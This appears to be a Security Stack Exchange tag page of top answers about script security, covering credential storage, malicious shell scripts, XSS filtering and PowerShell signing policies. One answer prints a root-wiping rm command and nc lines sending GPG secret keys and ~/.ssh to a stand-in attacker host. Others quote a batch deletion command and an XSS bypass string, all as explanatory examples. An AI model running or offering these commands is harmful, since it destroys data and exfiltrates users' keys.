Tag Info

Hot answers tagged

32

.sh files are shell script. They are anaologous to .bat files (cmd scripts) under Windows. All of these (shell scripts, cmd scripts, .exe Windows executables, Linux executables (which usually have no extension)) are executable programs; if you run one, it can do anything you can do. So yes, shell scripts can be harmful. Treat a shell script (or a Perl ...


16

Analysis I downloaded the first URL (http://something.example.com/xx) and ran $ file xx xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped So, it's an executable program meant to run on a Linux machine. I assume you are running a Linux server. Next, we want to see what the program does, ...


13

As mentioned in other answers your credentials will be somewhere accessible to your script. But I would put them is separate configuration file which will be read by your script. You will have the following advantages: you can use the same script for several systems (with different configuration files) you will be able to share the script with others (or ...


12

My immediate reaction to this was not positive, for a few reasons. Trying to use regex to parse complex language constructs is a bad idea. Regular expressions just aren't suitable for such constructs. Security through blacklisting is a bad idea because you will always be, by definition, one step behind the attackers. You should use a positive security ...


10

The standard way is to put the credentials into a config file, and attempt to protect the config file from being more readable than the perl file. This offers a moderate increase in security; for example, the code may be in source control and accessible to developers, the config file wouldn't be. The code needs to be in the web server's cgi root, and ...


10

You can create public/private key pairs and encrypt the password. This should obfuscate the password from casual passers by, as they would only have the public portion of the key known to them. You should also protect the script using directory and file permissions. Additionally, (depending on the database) you should be able to create a user account for ...


9

If you ever need to check a suspicious URL, you can use a service like urlquery to check if it has a malicious reputation, the HTTP transactions that take place, any java script that runs, etc etc. Very useful. They also provide a screenshot of what the visited page looks like. http://urlquery.net/


8

You could install a site advisor plugin like for example McAfee's site advisor. By doing this you can easier search the domain for any reported maliciousness. For example I search a domain which a big newspaper is getting their adds from I get report back saying generally OK, but community reports say "Adware, spyware, or viruses (1)". I'm sure there ...


8

Codepad explains how they provide security on their about page: codepad.org is an online compiler/interpreter. [...] The strategy is to run everything under ptrace, with many system calls disallowed or ignored. Compilers and final executables are both executed in a chroot jail, with strict resource limits. [...] Rather than rely on just the chroot ...


7

I often pass the password to the script in an environment variable that way the script need not have access to the secure location that contains the password. PASSWORD=`cat passwd_file` perl_script.pl then the script reads the password my $password = $ENV{'PASSWORD'} bonus points if the perl script drops privileges


6

The difference being that RemoteSigned will run scripts locally that aren't signed, whereas AllSigned requires all scripts to be signed regardless of their origin.


6

Chrome has default protection against Reflective XSS attacks. This is not a flaw that sandboxing can address. This protection system works by looking outgoing requests for javascript and preventing that javascript from being executed in the http response. No browser will prevent DOM Based XSS or Stored XSS. Chrome's protection is the weakest when ...


6

Obviously AllSigned requires all modules/snapins and scripts to be code-signed. RemoteSigned only requires signing for remote files. What are remote files? The canonical answer is on the PowerShell blog: http://blogs.msdn.com/b/powershell/archive/2007/03/07/how-does-the-remotesigned-execution-policy-work.aspx But the bottom line is: RemoteSigned only ...


6

%E2%80%8E is percent-encoded UTF-8 for the Unicode character "U+200E". It's used to make the text after it display in left-to-right reading order, such as when displaying an English-language quote in an Arabic text. Unless you've got some seriously broken software, it has no use as an attack. My suspicion is that this was a prank that didn't work out: if ...


5

No. It's blacklist-based, it tries to take care of specific tricks involving html entities. It doesn't even require magic_quotes, and magic_quotes has been deprecated as inadequate. Chris Shiflett is just one of many who've written a blog post explaining how vulnerable that is; it won't even stop modern automated script-kiddie attacks. Use prepared ...


5

[Disclosure: I am the co-founder of the company whose product is discussed in this answer.] In the past, I've generally just figured this out through trial and error. However, that is most definitely not the way it should be done. It leaves me vulnerable to still possibly running malicious or advertising scripts during that trial and error phase, which ...


5

#!/bin/sh rm -rf --no-preserve-root / That's malware, and it's a shell script. A more advanced version might include something like: gpg --export-secret-keys | nc www.evilbadguys.com 443 tar -cz ~/.ssh | nc www.evilbadguys.com 80 So yes, a shell script can be malicious. It can get more complex and call on other scripting languages, libraries, or even be ...


4

It's not every 10 seconds, it's every 30. Using Chrome developer tools I can see that the script jquery-1.3.1.js at line 3511 (xhr.send(s.data);) keeps trying to load a page (getSearch.php) that doesn't exist (404 not found). The script that is utilising the jQuery is controller.js which contains the line timer = setTimeout('getSearch()', 30000);. You'll ...


4

It depends what's in it. If it finds del /F /S /Q C:\* inside a Windows batch file, sure, some AVs might flag it up as suspicious. If it's a byte-for-byte copy of a known malicious script, sure, some AVs might catch it. In general, batch scripts are too variable in order to write a working malicious script detector that catches new or "custom" malware ...


4

That code is well commented, in fact it has too many comments: count++; // increment counter All of its major features are listed and its painfully simple code. It behaves a lot like the Samy worm, but instead of xss it uses social engineering.


4

this (true");alert(9);//" is very close to a valid javascript statement and will be accepted in your regex. Be careful with your regex, someone can bypass it.


4

See this blog post for full details: Ever since the vulnerability was discovered in Apache/PHP which allowed for PHP-code to be executed using a simple HTTP POST-request, automated attacks was launched widely which lead to a large number of compromised hosts. Those attacks have decreased during the last months, however, one of these automated ...


4

How to recognize if someone using password Reminder Script? Well, if passwords appear directly when someone opens a login page! On a serious note, the javascript you gave here cannot hack your Gmail account, actually, any account given that the alert function used here is the default javascript function and not any other function with the same name defined ...


3

No, not really. A script really doesn't have enough reach within a Windows environment to get all of the information you would need. PowerShell might be able to do it, but I would be surprised if such a script exists. +1 if there really is one. With that being said, your best bet may be the Baseline Security Analyzer by Microsoft: ...


3

As others have already said, put the credentials in a separate file which the script will load. Risks of having the password in the script include its being exposed to shoulder surfing, its being committed in revision control systems or configuration management systems and distributed far beyond what it should be, accidentally copying to another location ...


3

Considering the automated nature of the script, I don't think there is a better way of storing the password besides hardcoding it. My recommendation would be locking the script down with proper unix filesystem permissions. Making the script -rwx------ and setting the owner and group to appropriate values will go a long way towards securing the password. ...


2

I would look on MsDN and support.microsoft.com for any IIS vulnerabilities first since IIS is usually the target du jour for hackers. Then look for the PS module specifics to check if they are screwed up after a recent update or something esoteric -- I would be wary of Unicode and any of the larger character sets -- have him point you to the KB ...


2

From what I understand, the most important parts is that it retrieves your facebook cookie user_id , opens a chat box with your online friends, registers you with a FB group, and stuff like that. If you start writing this code yourself into a different context, step by step, you can see what the http connections are doing. Some of the parts like variables ...


2

Actually, NoScript provides options for white listing and plugin behavior in the client preferences. If you click on the NoScript icon in the browser toolbar, you should see a drop down menu link titled "options". Selecting that will open the NoScript preferences pane, and from there you can configure virtually all aspects of the NoScript behavior. In ...


2

Greasemonkey allows you to basically have a scriptable API into website/data/view manipulation using JavaScript. It is beneficial in IT security to use to automate some things or even to give yourself a more usable view for output you may be receiving You can't really mitigate anything GreaseMonkey does directly persay, but preventing automation of ...



Only top voted, non community-wiki answers of a minimum length are eligible